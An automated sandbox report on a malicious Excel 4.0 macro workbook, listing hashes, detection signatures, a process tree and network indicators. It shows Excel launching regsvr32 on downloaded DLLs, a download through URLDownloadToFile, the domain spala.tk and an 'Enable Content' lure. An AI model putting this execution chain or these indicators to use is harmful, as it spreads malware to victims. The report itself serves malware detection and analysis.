Loading ...

Play interactive tourEdit tour

Analysis Report analysis-31947858.xlsb

Overview

General Information

Sample Name:analysis-31947858.xlsb
Analysis ID:431577
MD5:b7eb6d834380eb155e059d79a6c4aa7a
SHA1:3b962a29dee053de72f4be1fde560ba6d78a9dcc
SHA256:6fa78aa7df13120074d646d62e6b4a025238d4428192a44c83912dc0b4a93dcd
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:68
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Found abnormal large hidden Excel 4.0 Macro sheet
Sigma detected: Microsoft Office Product Spawning Windows Shell
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Registers a DLL
Tries to load missing DLLs

Classification

Process Tree

  • System is w10x64
  • EXCEL.EXE (PID: 5408 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
    • regsvr32.exe (PID: 6376 cmdline: regsvr32 -s ..\rimo1.dll MD5: 426E7499F6A7346F0410DEAD0805586B)
    • regsvr32.exe (PID: 6392 cmdline: regsvr32 -s ..\rimo2.dll MD5: 426E7499F6A7346F0410DEAD0805586B)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

barindex
Sigma detected: Microsoft Office Product Spawning Windows ShellShow sources
Source: Process startedAuthor: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 -s ..\rimo1.dll, CommandLine: regsvr32 -s ..\rimo1.dll, CommandLine|base64offset|contains: ,, Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 5408, ProcessCommandLine: regsvr32 -s ..\rimo1.dll, ProcessId: 6376

Signature Overview

Click to jump to signature section

Show All Signature Results
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dll
Source: unknownHTTPS traffic detected: 207.174.212.247:443 -> 192.168.2.3:49723 version: TLS 1.2
Source: unknownHTTPS traffic detected: 108.167.156.223:443 -> 192.168.2.3:49725 version: TLS 1.2

Software Vulnerabilities:

barindex
Document exploit detected (UrlDownloadToFile)Show sources
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXESection loaded: unknown origin: URLDownloadToFileA
Document exploit detected (process start blacklist hit)Show sources
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe
Source: global trafficDNS query: name: spala.tk
Source: global trafficTCP traffic: 192.168.2.3:49723 -> 207.174.212.247:443
Source: global trafficTCP traffic: 192.168.2.3:49723 -> 207.174.212.247:443
Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: unknownDNS traffic detected: queries for: spala.tk
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: http://weather.service.msn.com/data.aspx
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://analysis.windows.net/powerbi/api
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://api.aadrm.com/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://api.addins.store.office.com/app/query
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://api.cortana.ai
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://api.diagnostics.office.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://api.diagnosticssdf.office.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://api.microsoftstream.com/api/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://api.office.net
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://api.onedrive.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://apis.live.net/v5.0/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://arc.msn.com/v4/api/selection
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://augloop.office.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://augloop.office.com/v2
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://autodiscover-s.outlook.com/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://cdn.entity.
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://clients.config.office.net/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://config.edge.skype.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://cortana.ai
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://cortana.ai/api
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://cr.office.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://dataservice.o365filtering.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://dataservice.o365filtering.com/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://dev.cortana.ai
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://devnull.onenote.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://directory.services.
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://ecs.office.com/config/v2/Office
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://entitlement.diagnostics.office.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://globaldisco.crm.dynamics.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://graph.ppe.windows.net
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://graph.ppe.windows.net/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://graph.windows.net
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://graph.windows.net/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://incidents.diagnostics.office.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://lifecycle.office.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://login.microsoftonline.com/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://login.windows.local
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://management.azure.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://management.azure.com/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://messaging.office.com/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://ncus.contentsync.
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://ncus.pagecontentsync.
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://officeapps.live.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://officeci.azurewebsites.net/api/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://onedrive.live.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://onedrive.live.com/embed?
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://outlook.office.com/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://outlook.office365.com/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://powerlift.acompli.net
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://settings.outlook.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://shell.suite.office.com:1443
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://skyapi.live.net/Activity/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://staging.cortana.ai
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://store.office.cn/addinstemplate
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://store.office.com/addinstemplate
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://store.office.de/addinstemplate
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://store.officeppe.com/addinstemplate
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://tasks.office.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://templatelogging.office.com/client/log
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://web.microsoftstream.com/video/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://webshell.suite.office.com
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://wus2.contentsync.
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://wus2.pagecontentsync.
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drString found in binary or memory: https://www.odwebp.svc.ms
Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
Source: unknownHTTPS traffic detected: 207.174.212.247:443 -> 192.168.2.3:49723 version: TLS 1.2
Source: unknownHTTPS traffic detected: 108.167.156.223:443 -> 192.168.2.3:49725 version: TLS 1.2

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
Source: Screenshot number: 4Screenshot OCR: Enable Content 14 15 16 17 18 WHY I CANNOT OPEN THIS DOCUMENT ? 19 20 21 W You are using iOS
Found Excel 4.0 Macro with suspicious formulasShow sources
Source: analysis-31947858.xlsbInitial sample: EXEC
Found abnormal large hidden Excel 4.0 Macro sheetShow sources
Source: analysis-31947858.xlsbInitial sample: Sheet size: 8583
Source: analysis-31947858.xlsbInitial sample: Sheet size: 7532
Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dll
Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dll
Source: classification engineClassification label: mal68.expl.evad.winXLSB@5/9@2/2
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCacheJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\{BA105B61-DD32-42FB-AB3D-262CB29C3CFC} - OProcSessId.datJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\rimo1.dll
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\rimo2.dll
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\rimo1.dll
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\rimo2.dll
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: analysis-31947858.xlsbInitial sample: OLE zip file path = xl/media/image4.png
Source: analysis-31947858.xlsbInitial sample: OLE zip file path = xl/media/image5.png
Source: analysis-31947858.xlsbInitial sample: OLE zip file path = xl/media/image6.png
Source: analysis-31947858.xlsbInitial sample: OLE zip file path = xl/media/image2.png
Source: analysis-31947858.xlsbInitial sample: OLE zip file path = xl/media/image3.png
Source: analysis-31947858.xlsbInitial sample: OLE zip file path = xl/media/image1.png
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dll
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\rimo1.dll
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
